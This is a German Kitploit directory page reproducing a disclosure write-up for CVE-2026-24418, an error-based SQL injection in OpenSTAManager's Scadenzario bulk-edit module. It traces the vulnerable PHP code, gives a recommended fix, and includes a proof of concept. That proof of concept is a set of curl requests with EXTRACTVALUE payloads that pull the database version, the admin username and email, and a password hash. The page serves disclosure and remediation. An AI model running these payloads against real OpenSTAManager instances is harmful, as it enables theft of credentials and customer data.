Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-24418 — CVE-2026-24418 - OpenSTAManager hat eine SQL-Injection-Schwachstelle im Modul für Sammeloperationen von Scadenzario | Kitploit
Tools/GitHubGitHub/lukasz-rybak/cve-2026-24418
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHublukasz-rybak/cve-2026-24418

CVE-2026-24418

CVE-2026-24418 - OpenSTAManager hat eine SQL-Injection-Schwachstelle im Modul für Sammeloperationen von Scadenzario

Repository anzeigen
12vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-24418: OpenSTAManager weist eine SQL-Injection-Schwachstelle im Scadenzario-Massenbearbeitungsmodul auf

Übersicht

FeldDetails
CVE-IDCVE-2026-24418
SchweregradHOCH
SicherheitshinweisHinweis ansehen
Entdeckt vonLukasz Rybak

Betroffene Produkte

  • devcode-it/openstamanager (Versionen: <= 2.9.8)

CWE-Klassifizierung

  • CWE-89: Unzureichende Neutralisierung von Sonderzeichen in SQL-Befehlen ('SQL-Injection')

Details

Zusammenfassung

Kritische fehlerbasierte SQL-Injection-Schwachstelle im Scadenzario-Massenbearbeitungsmodul (Zahlungsplan) von OpenSTAManager v2.9.8 erlaubt authentifizierten Angreifern, vollständige Datenbankinhalte einschließlich Benutzerdaten, personenbezogene Kundendaten und Finanzdaten über XML-Fehlermeldungen zu extrahieren.

Status: ✅ Bestätigt und auf Live-Instanz getestet (v2.9.8) Angreifbarer Parameter: id_records[] (POST-Array) Betroffener Endpunkt: /actions.php?id_module=18 (Scadenzario-Modul) Angriffstyp: Fehlerbasierte SQL-Injection (IN-Klausel)

Details

OpenSTAManager v2.9.8 enthält eine kritische fehlerbasierte SQL-Injection-Schwachstelle im Massenbearbeitungshandler des Scadenzario-Moduls (Zahlungsplan). Die Anwendung prüft nicht, ob Elemente des id_records-Arrays ganze Zahlen sind, bevor sie in einer SQL IN()-Klausel verwendet werden, was Angreifern erlaubt, beliebige SQL-Befehle einzuschleusen und vertrauliche Daten über XPATH-Fehlermeldungen zu extrahieren.

Schwachstellenkette:

  1. Einstiegspunkt: /actions.php (Zeilen 503-506)

    root@kitploit:~
    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    Die Funktion array_clean() entfernt nur leere Werte – sie überprüft NICHT die Typen.

  2. Angreifbare Funktion: /lib/util.php (Zeilen 54-60)

    root@kitploit:~
    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    Auswirkung: Die Funktion filtert leere Werte heraus, akzeptiert aber jeden nicht-leeren Wert, einschließlich SQL-Injection-Payloads.

  3. SQL-Injection-Punkt: /modules/scadenzario/bulk.php (Zeile 88) PRIMÄRE SCHWACHSTELLE

    root@kitploit:~
    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

    Auswirkung: Array-Elemente aus $id_records werden mittels implode() direkt verkettet, ohne Typüberprüfung oder prepare(), was vollständige SQL-Injection ermöglicht.

Ursachenanalyse:

Die Schwachstelle besteht, weil:

  1. post('id_records') ein vom Benutzer gesteuertes Array zurückgibt
  2. array_clean() nur leere Werte entfernt, keine nicht-ganzzahligen Werte
  3. implode(',', $id_records) Array-Elemente direkt in SQL verkettet
  4. Keine Überprüfung stellt sicher, dass Array-Elemente ganze Zahlen sind
  5. Angreifer können SQL injizieren, indem sie: id_records[]=1&id_records[]=(MALICIOUS SQL)# bereitstellen

Betroffener Codepfad:

root@kitploit:~
POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]

PoC

Schritt 1: Anmelden

root@kitploit:~
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Schritt 2: Schwachstelle verifizieren (fehlerbasierte SQL-Injection)

Test 1: Datenbankbenutzer und -version extrahieren

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Antwort (Fehlermeldung für Angreifer sichtbar):

root@kitploit:~
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

Test 2: Administrator-Anmeldeinformationen extrahieren

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Antwort:

root@kitploit:~
<code>XPATH syntax error: '~admin:[email protected]'</code>

Test 3: Passwort-Hash extrahieren (Teil 1 – erste 31 Zeichen)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Antwort:

root@kitploit:~
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

Test 4: Passwort-Hash extrahieren (Teil 2 – Zeichen 32-60)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

Antwort:

root@kitploit:~
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

Kombinierter Passwort-Hash:

root@kitploit:~
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

Auswirkungen

**Alle authentifizierten Benutzer mit Zugriff auf die Massenbearbeitung des Scadenzario-Moduls (Zahlungsplan).

Empfohlene Behebung:

Primäre Behebung – Typüberprüfung:

Datei: /modules/scadenzario/bulk.php

VORHER (anfällig – Zeile 88):

root@kitploit:~
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

NACHHER (behoben):

root@kitploit:~
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

Credits

Entdeckt von Łukasz Rybak

Referenzen

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24418
  • https://github.com/advisories/GHSA-4xwv-49c8-fvhq

Haftungsausschluss

Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken verantwortungsvoll offengelegt. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.

Tool herunterladen